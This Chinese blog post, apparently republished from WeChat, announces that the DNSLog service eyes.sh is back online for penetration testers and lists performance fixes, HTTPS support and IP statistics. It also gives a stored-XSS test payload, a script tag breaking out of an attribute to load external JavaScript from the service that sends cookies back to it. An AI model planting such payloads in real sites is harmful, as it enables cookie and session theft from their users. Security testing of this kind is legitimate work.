eyes.sh 优化后恢复服务(DNSLog服务)
2024-6-10 18:34:25 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

背景

https://eyes.sh  是笔者维护的一个简单DNSLog服务，辅助漏扫和渗透测试，现存大约2000名用户（去重后）。
前阵子因为发现有丢日志现象，临时关停了服务。经过一些优化后，目前该服务已经恢复上线。

完成的优化

1. 性能优化，提升服务器响应速度，解决可能的丢日志问题
原先，作者错误地将查询IP归属地逻辑，串联到日志写入功能、以及DNS Server响应过程。这会造成DNS查询和HTTP响应迟缓，在用户少的时候可能没有问题。用户数一旦增加，性能问题开始感觉明显。
目前已经去掉IP查询逻辑，写入时不再立即查询，仅在前端展示时，查询IP归属地。
包括日志写入MySQL时，也已经不再串联。
2. 部署了SSL证书，同时支持HTTP/HTTPS访问
因为多数后台都启用了https，如果不提供https访问，浏览器会阻止对DNSLog服务的访问，产生错误 Mixed Content Warnings (HTTPS/SSL)
  • 用户二级子域名支持https访问和记录日志，如：https://demo.eyes.sh
  • 用户三级域名不能https访问，因为Let's Encrypt 不能无限签发SSL证书。如： https://test.demo.eyes.sh   因此，在需要https访问的场景下，不能使用更深的子域名

3. 提供简单接口用于测试存储XSS

在需要测试存储XSS的地方，可以输入类似如下脚本

/> <script src="https://eyes.sh/x/?u=demo"></script><

以上，可以保证外部JS和回传Cookie的接口，都是有效的https链接
4. 提供简单IP聚合统计功能
增加了简单IP聚合统计，在界面上点击Count按钮，可以得到 IP触发的次数，分组查看和删除。

开始使用
用户直接使用笔者部署的服务，访问： https://eyes.sh/

用户自行部署DNSLog服务：https://github.com/lijiejie/eyes.sh


文章来源: https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&mid=2247483745&idx=1&sn=db8b796d184c4e80c921cb0f92e7302f&chksm=c2398d31f54e0427d48935cb2f3811abe6181cd463871b82f5dda6ac41d66230fdff2fc6fd4d&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh